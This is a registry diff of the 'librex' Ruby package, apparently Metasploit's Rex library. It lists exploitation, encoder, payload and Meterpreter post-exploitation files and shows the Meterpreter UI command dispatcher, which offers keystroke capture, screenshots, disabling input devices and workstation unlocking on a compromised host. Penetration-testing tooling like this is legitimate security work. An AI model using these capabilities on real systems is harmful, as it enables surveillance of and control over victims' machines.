librex 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (370) hide show
  1. data/README +4 -0
  2. data/lib/rex.rb +101 -0
  3. data/lib/rex.rb.ts.rb +70 -0
  4. data/lib/rex/LICENSE +29 -0
  5. data/lib/rex/arch.rb +103 -0
  6. data/lib/rex/arch/sparc.rb +75 -0
  7. data/lib/rex/arch/sparc.rb.ut.rb +18 -0
  8. data/lib/rex/arch/x86.rb +513 -0
  9. data/lib/rex/arch/x86.rb.ut.rb +93 -0
  10. data/lib/rex/assembly/nasm.rb +100 -0
  11. data/lib/rex/assembly/nasm.rb.ut.rb +22 -0
  12. data/lib/rex/codepage.map +104 -0
  13. data/lib/rex/compat.rb +281 -0
  14. data/lib/rex/constants.rb +113 -0
  15. data/lib/rex/elfparsey.rb +11 -0
  16. data/lib/rex/elfparsey/elf.rb +123 -0
  17. data/lib/rex/elfparsey/elfbase.rb +260 -0
  18. data/lib/rex/elfparsey/exceptions.rb +27 -0
  19. data/lib/rex/elfscan.rb +12 -0
  20. data/lib/rex/elfscan/scanner.rb +207 -0
  21. data/lib/rex/elfscan/search.rb +46 -0
  22. data/lib/rex/encoder/alpha2.rb +31 -0
  23. data/lib/rex/encoder/alpha2/alpha_mixed.rb +68 -0
  24. data/lib/rex/encoder/alpha2/alpha_upper.rb +79 -0
  25. data/lib/rex/encoder/alpha2/generic.rb +113 -0
  26. data/lib/rex/encoder/alpha2/unicode_mixed.rb +117 -0
  27. data/lib/rex/encoder/alpha2/unicode_upper.rb +129 -0
  28. data/lib/rex/encoder/ndr.rb +89 -0
  29. data/lib/rex/encoder/ndr.rb.ut.rb +44 -0
  30. data/lib/rex/encoder/nonalpha.rb +61 -0
  31. data/lib/rex/encoder/nonupper.rb +64 -0
  32. data/lib/rex/encoder/xdr.rb +106 -0
  33. data/lib/rex/encoder/xdr.rb.ut.rb +29 -0
  34. data/lib/rex/encoder/xor.rb +69 -0
  35. data/lib/rex/encoder/xor/dword.rb +13 -0
  36. data/lib/rex/encoder/xor/dword_additive.rb +13 -0
  37. data/lib/rex/encoders/xor_dword.rb +35 -0
  38. data/lib/rex/encoders/xor_dword_additive.rb +53 -0
  39. data/lib/rex/encoders/xor_dword_additive.rb.ut.rb +12 -0
  40. data/lib/rex/encoding/xor.rb +20 -0
  41. data/lib/rex/encoding/xor.rb.ts.rb +14 -0
  42. data/lib/rex/encoding/xor/byte.rb +15 -0
  43. data/lib/rex/encoding/xor/byte.rb.ut.rb +21 -0
  44. data/lib/rex/encoding/xor/dword.rb +21 -0
  45. data/lib/rex/encoding/xor/dword.rb.ut.rb +15 -0
  46. data/lib/rex/encoding/xor/dword_additive.rb +92 -0
  47. data/lib/rex/encoding/xor/dword_additive.rb.ut.rb +15 -0
  48. data/lib/rex/encoding/xor/exceptions.rb +17 -0
  49. data/lib/rex/encoding/xor/generic.rb +146 -0
  50. data/lib/rex/encoding/xor/generic.rb.ut.rb +120 -0
  51. data/lib/rex/encoding/xor/qword.rb +15 -0
  52. data/lib/rex/encoding/xor/word.rb +21 -0
  53. data/lib/rex/encoding/xor/word.rb.ut.rb +13 -0
  54. data/lib/rex/exceptions.rb +275 -0
  55. data/lib/rex/exceptions.rb.ut.rb +44 -0
  56. data/lib/rex/exploitation/cmdstager.rb +133 -0
  57. data/lib/rex/exploitation/egghunter.rb +143 -0
  58. data/lib/rex/exploitation/egghunter.rb.ut.rb +25 -0
  59. data/lib/rex/exploitation/encryptjs.rb +77 -0
  60. data/lib/rex/exploitation/heaplib.js.b64 +331 -0
  61. data/lib/rex/exploitation/heaplib.rb +94 -0
  62. data/lib/rex/exploitation/javascriptosdetect.rb +735 -0
  63. data/lib/rex/exploitation/obfuscatejs.rb +335 -0
  64. data/lib/rex/exploitation/opcodedb.rb +818 -0
  65. data/lib/rex/exploitation/opcodedb.rb.ut.rb +279 -0
  66. data/lib/rex/exploitation/seh.rb +92 -0
  67. data/lib/rex/exploitation/seh.rb.ut.rb +19 -0
  68. data/lib/rex/file.rb +84 -0
  69. data/lib/rex/file.rb.ut.rb +16 -0
  70. data/lib/rex/image_source.rb +12 -0
  71. data/lib/rex/image_source/disk.rb +60 -0
  72. data/lib/rex/image_source/image_source.rb +46 -0
  73. data/lib/rex/image_source/memory.rb +37 -0
  74. data/lib/rex/io/bidirectional_pipe.rb +157 -0
  75. data/lib/rex/io/datagram_abstraction.rb +35 -0
  76. data/lib/rex/io/stream.rb +313 -0
  77. data/lib/rex/io/stream_abstraction.rb +186 -0
  78. data/lib/rex/io/stream_server.rb +211 -0
  79. data/lib/rex/job_container.rb +202 -0
  80. data/lib/rex/logging.rb +4 -0
  81. data/lib/rex/logging/log_dispatcher.rb +179 -0
  82. data/lib/rex/logging/log_sink.rb +42 -0
  83. data/lib/rex/logging/sinks/flatfile.rb +55 -0
  84. data/lib/rex/logging/sinks/stderr.rb +43 -0
  85. data/lib/rex/machparsey.rb +9 -0
  86. data/lib/rex/machparsey/exceptions.rb +34 -0
  87. data/lib/rex/machparsey/mach.rb +209 -0
  88. data/lib/rex/machparsey/machbase.rb +408 -0
  89. data/lib/rex/machscan.rb +9 -0
  90. data/lib/rex/machscan/scanner.rb +217 -0
  91. data/lib/rex/mime.rb +9 -0
  92. data/lib/rex/mime/header.rb +75 -0
  93. data/lib/rex/mime/message.rb +112 -0
  94. data/lib/rex/mime/part.rb +20 -0
  95. data/lib/rex/nop/opty2.rb +108 -0
  96. data/lib/rex/nop/opty2.rb.ut.rb +23 -0
  97. data/lib/rex/nop/opty2_tables.rb +300 -0
  98. data/lib/rex/ole.rb +128 -0
  99. data/lib/rex/ole/clsid.rb +47 -0
  100. data/lib/rex/ole/difat.rb +141 -0
  101. data/lib/rex/ole/directory.rb +230 -0
  102. data/lib/rex/ole/direntry.rb +240 -0
  103. data/lib/rex/ole/fat.rb +99 -0
  104. data/lib/rex/ole/header.rb +204 -0
  105. data/lib/rex/ole/minifat.rb +77 -0
  106. data/lib/rex/ole/samples/create_ole.rb +27 -0
  107. data/lib/rex/ole/samples/dir.rb +35 -0
  108. data/lib/rex/ole/samples/dump_stream.rb +34 -0
  109. data/lib/rex/ole/samples/ole_info.rb +23 -0
  110. data/lib/rex/ole/storage.rb +395 -0
  111. data/lib/rex/ole/stream.rb +53 -0
  112. data/lib/rex/ole/substorage.rb +49 -0
  113. data/lib/rex/ole/util.rb +157 -0
  114. data/lib/rex/parser/arguments.rb +97 -0
  115. data/lib/rex/parser/arguments.rb.ut.rb +67 -0
  116. data/lib/rex/parser/ini.rb +185 -0
  117. data/lib/rex/parser/ini.rb.ut.rb +29 -0
  118. data/lib/rex/parser/nmap_xml.rb +111 -0
  119. data/lib/rex/payloads.rb +1 -0
  120. data/lib/rex/payloads/win32.rb +2 -0
  121. data/lib/rex/payloads/win32/common.rb +26 -0
  122. data/lib/rex/payloads/win32/kernel.rb +53 -0
  123. data/lib/rex/payloads/win32/kernel/common.rb +54 -0
  124. data/lib/rex/payloads/win32/kernel/migration.rb +12 -0
  125. data/lib/rex/payloads/win32/kernel/recovery.rb +50 -0
  126. data/lib/rex/payloads/win32/kernel/stager.rb +171 -0
  127. data/lib/rex/peparsey.rb +12 -0
  128. data/lib/rex/peparsey/exceptions.rb +32 -0
  129. data/lib/rex/peparsey/pe.rb +188 -0
  130. data/lib/rex/peparsey/pe_memdump.rb +63 -0
  131. data/lib/rex/peparsey/pebase.rb +1655 -0
  132. data/lib/rex/peparsey/section.rb +136 -0
  133. data/lib/rex/pescan.rb +13 -0
  134. data/lib/rex/pescan/analyze.rb +309 -0
  135. data/lib/rex/pescan/scanner.rb +206 -0
  136. data/lib/rex/pescan/search.rb +56 -0
  137. data/lib/rex/platforms.rb +1 -0
  138. data/lib/rex/platforms/windows.rb +51 -0
  139. data/lib/rex/poly.rb +132 -0
  140. data/lib/rex/poly/block.rb +468 -0
  141. data/lib/rex/poly/register.rb +100 -0
  142. data/lib/rex/poly/register/x86.rb +40 -0
  143. data/lib/rex/post.rb +8 -0
  144. data/lib/rex/post/dir.rb +51 -0
  145. data/lib/rex/post/file.rb +172 -0
  146. data/lib/rex/post/file_stat.rb +220 -0
  147. data/lib/rex/post/gen.pl +13 -0
  148. data/lib/rex/post/io.rb +182 -0
  149. data/lib/rex/post/meterpreter.rb +4 -0
  150. data/lib/rex/post/meterpreter/channel.rb +438 -0
  151. data/lib/rex/post/meterpreter/channel_container.rb +54 -0
  152. data/lib/rex/post/meterpreter/channels/pool.rb +160 -0
  153. data/lib/rex/post/meterpreter/channels/pools/file.rb +62 -0
  154. data/lib/rex/post/meterpreter/channels/pools/stream_pool.rb +103 -0
  155. data/lib/rex/post/meterpreter/channels/stream.rb +87 -0
  156. data/lib/rex/post/meterpreter/client.rb +335 -0
  157. data/lib/rex/post/meterpreter/client_core.rb +274 -0
  158. data/lib/rex/post/meterpreter/dependencies.rb +3 -0
  159. data/lib/rex/post/meterpreter/extension.rb +32 -0
  160. data/lib/rex/post/meterpreter/extensions/espia/espia.rb +58 -0
  161. data/lib/rex/post/meterpreter/extensions/espia/tlv.rb +16 -0
  162. data/lib/rex/post/meterpreter/extensions/incognito/incognito.rb +94 -0
  163. data/lib/rex/post/meterpreter/extensions/incognito/tlv.rb +21 -0
  164. data/lib/rex/post/meterpreter/extensions/priv/fs.rb +118 -0
  165. data/lib/rex/post/meterpreter/extensions/priv/passwd.rb +61 -0
  166. data/lib/rex/post/meterpreter/extensions/priv/priv.rb +104 -0
  167. data/lib/rex/post/meterpreter/extensions/priv/tlv.rb +28 -0
  168. data/lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb +100 -0
  169. data/lib/rex/post/meterpreter/extensions/sniffer/tlv.rb +24 -0
  170. data/lib/rex/post/meterpreter/extensions/stdapi/constants.rb +333 -0
  171. data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +273 -0
  172. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +235 -0
  173. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file_stat.rb +103 -0
  174. data/lib/rex/post/meterpreter/extensions/stdapi/fs/io.rb +48 -0
  175. data/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb +144 -0
  176. data/lib/rex/post/meterpreter/extensions/stdapi/net/interface.rb +73 -0
  177. data/lib/rex/post/meterpreter/extensions/stdapi/net/route.rb +56 -0
  178. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb +137 -0
  179. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb +167 -0
  180. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb +167 -0
  181. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb +192 -0
  182. data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +139 -0
  183. data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +97 -0
  184. data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb +184 -0
  185. data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log_subsystem/event_record.rb +41 -0
  186. data/lib/rex/post/meterpreter/extensions/stdapi/sys/power.rb +61 -0
  187. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +361 -0
  188. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/image.rb +129 -0
  189. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/io.rb +55 -0
  190. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb +336 -0
  191. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/thread.rb +141 -0
  192. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +279 -0
  193. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +182 -0
  194. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_value.rb +102 -0
  195. data/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb +174 -0
  196. data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +185 -0
  197. data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +227 -0
  198. data/lib/rex/post/meterpreter/inbound_packet_handler.rb +30 -0
  199. data/lib/rex/post/meterpreter/object_aliases.rb +83 -0
  200. data/lib/rex/post/meterpreter/packet.rb +596 -0
  201. data/lib/rex/post/meterpreter/packet_dispatcher.rb +409 -0
  202. data/lib/rex/post/meterpreter/packet_parser.rb +94 -0
  203. data/lib/rex/post/meterpreter/packet_response_waiter.rb +83 -0
  204. data/lib/rex/post/meterpreter/ui/console.rb +135 -0
  205. data/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb +62 -0
  206. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +595 -0
  207. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb +108 -0
  208. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb +241 -0
  209. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv.rb +61 -0
  210. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +98 -0
  211. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb +51 -0
  212. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +132 -0
  213. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/sniffer.rb +187 -0
  214. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb +63 -0
  215. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +376 -0
  216. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +270 -0
  217. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +484 -0
  218. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +315 -0
  219. data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +95 -0
  220. data/lib/rex/post/permission.rb +26 -0
  221. data/lib/rex/post/process.rb +57 -0
  222. data/lib/rex/post/thread.rb +57 -0
  223. data/lib/rex/post/ui.rb +52 -0
  224. data/lib/rex/proto.rb +12 -0
  225. data/lib/rex/proto.rb.ts.rb +8 -0
  226. data/lib/rex/proto/dcerpc.rb +6 -0
  227. data/lib/rex/proto/dcerpc.rb.ts.rb +9 -0
  228. data/lib/rex/proto/dcerpc/client.rb +358 -0
  229. data/lib/rex/proto/dcerpc/client.rb.ut.rb +491 -0
  230. data/lib/rex/proto/dcerpc/exceptions.rb +150 -0
  231. data/lib/rex/proto/dcerpc/handle.rb +47 -0
  232. data/lib/rex/proto/dcerpc/handle.rb.ut.rb +85 -0
  233. data/lib/rex/proto/dcerpc/ndr.rb +72 -0
  234. data/lib/rex/proto/dcerpc/ndr.rb.ut.rb +41 -0
  235. data/lib/rex/proto/dcerpc/packet.rb +253 -0
  236. data/lib/rex/proto/dcerpc/packet.rb.ut.rb +56 -0
  237. data/lib/rex/proto/dcerpc/response.rb +186 -0
  238. data/lib/rex/proto/dcerpc/response.rb.ut.rb +15 -0
  239. data/lib/rex/proto/dcerpc/uuid.rb +84 -0
  240. data/lib/rex/proto/dcerpc/uuid.rb.ut.rb +46 -0
  241. data/lib/rex/proto/drda.rb +5 -0
  242. data/lib/rex/proto/drda.rb.ts.rb +17 -0
  243. data/lib/rex/proto/drda/constants.rb +49 -0
  244. data/lib/rex/proto/drda/constants.rb.ut.rb +23 -0
  245. data/lib/rex/proto/drda/packet.rb +252 -0
  246. data/lib/rex/proto/drda/packet.rb.ut.rb +109 -0
  247. data/lib/rex/proto/drda/utils.rb +123 -0
  248. data/lib/rex/proto/drda/utils.rb.ut.rb +84 -0
  249. data/lib/rex/proto/http.rb +5 -0
  250. data/lib/rex/proto/http.rb.ts.rb +12 -0
  251. data/lib/rex/proto/http/client.rb +817 -0
  252. data/lib/rex/proto/http/client.rb.ut.rb +93 -0
  253. data/lib/rex/proto/http/handler.rb +46 -0
  254. data/lib/rex/proto/http/handler/erb.rb +128 -0
  255. data/lib/rex/proto/http/handler/erb.rb.ut.rb +21 -0
  256. data/lib/rex/proto/http/handler/erb.rb.ut.rb.rhtml +1 -0
  257. data/lib/rex/proto/http/handler/proc.rb +54 -0
  258. data/lib/rex/proto/http/handler/proc.rb.ut.rb +24 -0
  259. data/lib/rex/proto/http/header.rb +161 -0
  260. data/lib/rex/proto/http/header.rb.ut.rb +46 -0
  261. data/lib/rex/proto/http/packet.rb +394 -0
  262. data/lib/rex/proto/http/packet.rb.ut.rb +165 -0
  263. data/lib/rex/proto/http/request.rb +356 -0
  264. data/lib/rex/proto/http/request.rb.ut.rb +214 -0
  265. data/lib/rex/proto/http/response.rb +85 -0
  266. data/lib/rex/proto/http/response.rb.ut.rb +149 -0
  267. data/lib/rex/proto/http/server.rb +367 -0
  268. data/lib/rex/proto/http/server.rb.ut.rb +79 -0
  269. data/lib/rex/proto/smb.rb +7 -0
  270. data/lib/rex/proto/smb.rb.ts.rb +8 -0
  271. data/lib/rex/proto/smb/client.rb +1733 -0
  272. data/lib/rex/proto/smb/client.rb.ut.rb +223 -0
  273. data/lib/rex/proto/smb/constants.rb +1062 -0
  274. data/lib/rex/proto/smb/constants.rb.ut.rb +18 -0
  275. data/lib/rex/proto/smb/crypt.rb +95 -0
  276. data/lib/rex/proto/smb/crypt.rb.ut.rb +20 -0
  277. data/lib/rex/proto/smb/evasions.rb +65 -0
  278. data/lib/rex/proto/smb/exceptions.rb +846 -0
  279. data/lib/rex/proto/smb/simpleclient.rb +292 -0
  280. data/lib/rex/proto/smb/simpleclient.rb.ut.rb +128 -0
  281. data/lib/rex/proto/smb/utils.rb +514 -0
  282. data/lib/rex/proto/smb/utils.rb.ut.rb +20 -0
  283. data/lib/rex/proto/sunrpc.rb +1 -0
  284. data/lib/rex/proto/sunrpc/client.rb +195 -0
  285. data/lib/rex/script.rb +42 -0
  286. data/lib/rex/script/base.rb +59 -0
  287. data/lib/rex/script/meterpreter.rb +9 -0
  288. data/lib/rex/script/shell.rb +9 -0
  289. data/lib/rex/service.rb +48 -0
  290. data/lib/rex/service_manager.rb +141 -0
  291. data/lib/rex/service_manager.rb.ut.rb +32 -0
  292. data/lib/rex/services/local_relay.rb +423 -0
  293. data/lib/rex/socket.rb +586 -0
  294. data/lib/rex/socket.rb.ut.rb +86 -0
  295. data/lib/rex/socket/comm.rb +119 -0
  296. data/lib/rex/socket/comm/local.rb +409 -0
  297. data/lib/rex/socket/comm/local.rb.ut.rb +75 -0
  298. data/lib/rex/socket/ip.rb +129 -0
  299. data/lib/rex/socket/parameters.rb +345 -0
  300. data/lib/rex/socket/parameters.rb.ut.rb +51 -0
  301. data/lib/rex/socket/range_walker.rb +295 -0
  302. data/lib/rex/socket/range_walker.rb.ut.rb +55 -0
  303. data/lib/rex/socket/ssl_tcp.rb +184 -0
  304. data/lib/rex/socket/ssl_tcp.rb.ut.rb +39 -0
  305. data/lib/rex/socket/ssl_tcp_server.rb +122 -0
  306. data/lib/rex/socket/ssl_tcp_server.rb.ut.rb +51 -0
  307. data/lib/rex/socket/subnet_walker.rb +75 -0
  308. data/lib/rex/socket/subnet_walker.rb.ut.rb +28 -0
  309. data/lib/rex/socket/switch_board.rb +272 -0
  310. data/lib/rex/socket/switch_board.rb.ut.rb +52 -0
  311. data/lib/rex/socket/tcp.rb +76 -0
  312. data/lib/rex/socket/tcp.rb.ut.rb +64 -0
  313. data/lib/rex/socket/tcp_server.rb +67 -0
  314. data/lib/rex/socket/tcp_server.rb.ut.rb +44 -0
  315. data/lib/rex/socket/udp.rb +157 -0
  316. data/lib/rex/socket/udp.rb.ut.rb +44 -0
  317. data/lib/rex/struct2.rb +5 -0
  318. data/lib/rex/struct2/c_struct.rb +181 -0
  319. data/lib/rex/struct2/c_struct_template.rb +39 -0
  320. data/lib/rex/struct2/constant.rb +26 -0
  321. data/lib/rex/struct2/element.rb +44 -0
  322. data/lib/rex/struct2/generic.rb +73 -0
  323. data/lib/rex/struct2/restraint.rb +54 -0
  324. data/lib/rex/struct2/s_string.rb +72 -0
  325. data/lib/rex/struct2/s_struct.rb +111 -0
  326. data/lib/rex/sync.rb +6 -0
  327. data/lib/rex/sync/event.rb +94 -0
  328. data/lib/rex/sync/read_write_lock.rb +176 -0
  329. data/lib/rex/sync/ref.rb +57 -0
  330. data/lib/rex/sync/thread_safe.rb +82 -0
  331. data/lib/rex/test.rb +35 -0
  332. data/lib/rex/text.rb +1029 -0
  333. data/lib/rex/text.rb.ut.rb +168 -0
  334. data/lib/rex/time.rb +65 -0
  335. data/lib/rex/transformer.rb +115 -0
  336. data/lib/rex/transformer.rb.ut.rb +38 -0
  337. data/lib/rex/ui.rb +21 -0
  338. data/lib/rex/ui/interactive.rb +252 -0
  339. data/lib/rex/ui/output.rb +80 -0
  340. data/lib/rex/ui/output/none.rb +18 -0
  341. data/lib/rex/ui/progress_tracker.rb +96 -0
  342. data/lib/rex/ui/subscriber.rb +149 -0
  343. data/lib/rex/ui/text/color.rb +97 -0
  344. data/lib/rex/ui/text/color.rb.ut.rb +18 -0
  345. data/lib/rex/ui/text/dispatcher_shell.rb +382 -0
  346. data/lib/rex/ui/text/input.rb +117 -0
  347. data/lib/rex/ui/text/input/buffer.rb +75 -0
  348. data/lib/rex/ui/text/input/readline.rb +129 -0
  349. data/lib/rex/ui/text/input/socket.rb +95 -0
  350. data/lib/rex/ui/text/input/stdio.rb +45 -0
  351. data/lib/rex/ui/text/irb_shell.rb +55 -0
  352. data/lib/rex/ui/text/output.rb +80 -0
  353. data/lib/rex/ui/text/output/buffer.rb +65 -0
  354. data/lib/rex/ui/text/output/file.rb +37 -0
  355. data/lib/rex/ui/text/output/socket.rb +43 -0
  356. data/lib/rex/ui/text/output/stdio.rb +40 -0
  357. data/lib/rex/ui/text/progress_tracker.rb +56 -0
  358. data/lib/rex/ui/text/progress_tracker.rb.ut.rb +34 -0
  359. data/lib/rex/ui/text/shell.rb +321 -0
  360. data/lib/rex/ui/text/table.rb +254 -0
  361. data/lib/rex/ui/text/table.rb.ut.rb +55 -0
  362. data/lib/rex/zip.rb +93 -0
  363. data/lib/rex/zip/archive.rb +91 -0
  364. data/lib/rex/zip/blocks.rb +182 -0
  365. data/lib/rex/zip/entry.rb +95 -0
  366. data/lib/rex/zip/samples/comment.rb +32 -0
  367. data/lib/rex/zip/samples/mkwar.rb +138 -0
  368. data/lib/rex/zip/samples/mkzip.rb +19 -0
  369. data/lib/rex/zip/samples/recursive.rb +58 -0
  370. metadata +435 -0
@@ -0,0 +1,315 @@
1
+ require 'rex/post/meterpreter'
2
+
3
+ module Rex
4
+ module Post
5
+ module Meterpreter
6
+ module Ui
7
+
8
+ ###
9
+ #
10
+ # The user interface portion of the standard API extension.
11
+ #
12
+ ###
13
+ class Console::CommandDispatcher::Stdapi::Ui
14
+
15
+ Klass = Console::CommandDispatcher::Stdapi::Ui
16
+
17
+ include Console::CommandDispatcher
18
+
19
+ #
20
+ # List of supported commands.
21
+ #
22
+ def commands
23
+ {
24
+ "idletime" => "Returns the number of seconds the remote user has been idle",
25
+ "uictl" => "Control some of the user interface components",
26
+ "enumdesktops" => "List all accessible desktops and window stations",
27
+ "getdesktop" => "Get the current meterpreter desktop",
28
+ "setdesktop" => "Change the meterpreters current desktop",
29
+ "keyscan_start" => "Start capturing keystrokes",
30
+ "keyscan_stop" => "Stop capturing keystrokes",
31
+ "keyscan_dump" => "Dump the keystroke buffer",
32
+ "screenshot" => "Grab a screenshot of the interactive desktop",
33
+
34
+ # not working yet
35
+ # "unlockdesktop" => "Unlock or lock the workstation (must be inside winlogon.exe)",
36
+ }
37
+ end
38
+
39
+ #
40
+ # Name for this dispatcher.
41
+ #
42
+ def name
43
+ "Stdapi: User interface"
44
+ end
45
+
46
+ #
47
+ # Executes a command with some options.
48
+ #
49
+ def cmd_idletime(*args)
50
+ seconds = client.ui.idle_time
51
+
52
+ print_line(
53
+ "User has been idle for: #{Rex::ExtTime.sec_to_s(seconds)}")
54
+
55
+ return true
56
+ end
57
+
58
+ #
59
+ # Enables/disables user interface mice and keyboards on the remote machine.
60
+ #
61
+ def cmd_uictl(*args)
62
+ if (args.length < 2)
63
+ print_line(
64
+ "Usage: uictl [enable/disable] [keyboard/mouse]")
65
+ return true
66
+ end
67
+
68
+ case args[0]
69
+ when 'enable'
70
+ case args[1]
71
+ when 'keyboard'
72
+ print_line("Enabling keyboard...")
73
+ client.ui.enable_keyboard
74
+ when 'mouse'
75
+ print_line("Enabling mouse...")
76
+ client.ui.enable_mouse
77
+ else
78
+ print_error("Unsupported user interface device: #{args[1]}")
79
+ end
80
+ when 'disable'
81
+ case args[1]
82
+ when 'keyboard'
83
+ print_line("Disabling keyboard...")
84
+ client.ui.disable_keyboard
85
+ when 'mouse'
86
+ print_line("Disabling mouse...")
87
+ client.ui.disable_mouse
88
+ else
89
+ print_error("Unsupported user interface device: #{args[1]}")
90
+ end
91
+ else
92
+ print_error("Unsupported command: #{args[0]}")
93
+ end
94
+
95
+ return true
96
+ end
97
+
98
+ #
99
+ # Grab a screenshot of the current interactive desktop.
100
+ #
101
+ def cmd_screenshot( *args )
102
+ path = Rex::Text.rand_text_alpha(8) + ".jpeg"
103
+ quality = 50
104
+ view = true
105
+
106
+ screenshot_opts = Rex::Parser::Arguments.new(
107
+ "-h" => [ false, "Help Banner." ],
108
+ "-q" => [ true, "The JPEG image quality (Default: '#{quality}')" ],
109
+ "-p" => [ true, "The JPEG image path (Default: '#{path}')" ],
110
+ "-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ]
111
+ )
112
+
113
+ screenshot_opts.parse( args ) { | opt, idx, val |
114
+ case opt
115
+ when "-h"
116
+ print_line( "Usage: screenshot [options]\n" )
117
+ print_line( "Grab a screenshot of the current interactive desktop." )
118
+ print_line( screenshot_opts.usage )
119
+ return
120
+ when "-q"
121
+ quality = val.to_i
122
+ when "-p"
123
+ path = val
124
+ when "-v"
125
+ view = false if ( val =~ /^(f|n|0)/i )
126
+ end
127
+ }
128
+
129
+ data = client.ui.screenshot( quality )
130
+
131
+ if( data )
132
+ ::File.open( path, 'wb' ) do |fd|
133
+ fd.write( data )
134
+ end
135
+
136
+ path = ::File.expand_path( path )
137
+
138
+ print_line( "Screenshot saved to: #{path}" )
139
+
140
+ Rex::Compat.open_file( path ) if view
141
+ end
142
+
143
+ return true
144
+ end
145
+
146
+ #
147
+ # Enumerate desktops
148
+ #
149
+ def cmd_enumdesktops(*args)
150
+ print_line( "Enumerating all accessible desktops" )
151
+
152
+ desktops = client.ui.enum_desktops
153
+
154
+ desktopstable = Rex::Ui::Text::Table.new(
155
+ 'Header' => "Desktops",
156
+ 'Indent' => 4,
157
+ 'Columns' => [ "Session",
158
+ "Station",
159
+ "Name"
160
+ ]
161
+ )
162
+
163
+ desktops.each { | desktop |
164
+ session = desktop['session'] == 0xFFFFFFFF ? '' : desktop['session'].to_s
165
+ desktopstable << [ session, desktop['station'], desktop['name'] ]
166
+ }
167
+
168
+ if( desktops.length == 0 )
169
+ print_line( "No accessible desktops were found." )
170
+ else
171
+ print( "\n" + desktopstable.to_s + "\n" )
172
+ end
173
+
174
+ return true
175
+ end
176
+
177
+ #
178
+ # Get the current meterpreter desktop.
179
+ #
180
+ def cmd_getdesktop(*args)
181
+
182
+ desktop = client.ui.get_desktop
183
+
184
+ session = desktop['session'] == 0xFFFFFFFF ? '' : "Session #{desktop['session'].to_s}\\"
185
+
186
+ print_line( "#{session}#{desktop['station']}\\#{desktop['name']}" )
187
+
188
+ return true
189
+ end
190
+
191
+ #
192
+ # Change the meterpreters current desktop.
193
+ #
194
+ def cmd_setdesktop( *args )
195
+
196
+ switch = false
197
+ dsession = -1
198
+ dstation = 'WinSta0'
199
+ dname = 'Default'
200
+
201
+ setdesktop_opts = Rex::Parser::Arguments.new(
202
+ "-h" => [ false, "Help Banner." ],
203
+ #"-s" => [ true, "The session (Default: '#{dsession}')" ],
204
+ "-w" => [ true, "The window station (Default: '#{dstation}')" ],
205
+ "-n" => [ true, "The desktop name (Default: '#{dname}')" ],
206
+ "-i" => [ true, "Set this desktop as the interactive desktop (Default: '#{switch}')" ]
207
+ )
208
+
209
+ setdesktop_opts.parse( args ) { | opt, idx, val |
210
+ case opt
211
+ when "-h"
212
+ print_line( "Usage: setdesktop [options]\n" )
213
+ print_line( "Change the meterpreters current desktop." )
214
+ print_line( setdesktop_opts.usage )
215
+ return
216
+ #when "-s"
217
+ # dsession = val.to_i
218
+ when "-w"
219
+ dstation = val
220
+ when "-n"
221
+ dname = val
222
+ when "-i"
223
+ switch = true if ( val =~ /^(t|y|1)/i )
224
+ end
225
+ }
226
+
227
+ if( client.ui.set_desktop( dsession, dstation, dname, switch ) )
228
+ print_line( "#{ switch ? 'Switched' : 'Changed' } to desktop #{dstation}\\#{dname}" )
229
+ else
230
+ print_line( "Failed to #{ switch ? 'switch' : 'change' } to desktop #{dstation}\\#{dname}" )
231
+ end
232
+
233
+ return true
234
+ end
235
+
236
+ #
237
+ # Unlock or lock the desktop
238
+ #
239
+ def cmd_unlockdesktop(*args)
240
+ mode = 0
241
+ if(args.length > 0)
242
+ mode = args[0].to_i
243
+ end
244
+
245
+ if(mode == 0)
246
+ print_line("Unlocking the workstation...")
247
+ client.ui.unlock_desktop(true)
248
+ else
249
+ print_line("Locking the workstation...")
250
+ client.ui.unlock_desktop(false)
251
+ end
252
+
253
+ return true
254
+ end
255
+
256
+ #
257
+ # Start the keyboard sniffer
258
+ #
259
+ def cmd_keyscan_start(*args)
260
